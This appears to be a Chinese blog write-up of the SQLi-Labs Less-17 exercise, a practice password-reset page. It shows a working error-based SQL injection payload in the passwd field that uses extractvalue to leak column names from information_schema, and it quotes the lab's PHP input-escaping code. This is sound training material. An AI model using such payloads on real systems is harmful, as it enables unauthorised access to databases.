SQL-LABS入门到放弃6(part1)

前言

在开始解题之前,我们先来了解几个数据库函数(增删改查)
函数介绍传送门

Less-17

  1. 可以看到是一个修改密码的页面,利用的是update语句,首先我们找注入点,当输入uname=admin&passwd=ju5tw4nty0u'&submit=Submit时报错,可知对passwd的处理为单引号;

    1
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
  2. 因为这里没有具体回显,所以可以使用报错注入或者盲注;

  3. 报错注入

    1
    uname=admin&passwd=ju5tw4nty0u' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e))# &submit=Submit
  4. 盲注参考Less-5;

后记

这题是看了源码才把注意力放在password的,之前一直在试用uname进行注入,然后找了好久没有头绪,后面在源码看到了check_input()函数,这里对uname做了处理,我们可以看看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

对参数的处理:

1
2
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

这里涉及到几个函数:

addslashes()

在预定义字符之前添加反斜杠的字符串
详细介绍

get_magic_quotes_gpc()

详细介绍

stripslashes()

删除由addslashes函数添加的反斜杠
详细介绍

mysql_real_escape_string()

转义SQL语句中使用的字符串中的特殊字符
详细介绍

因为对username的输入做了各种转义处理,所以不能使用uname进行注入。

------ 本文结束感谢您的阅读 ------
坚持记录生活,您的支持将鼓励我继续创作!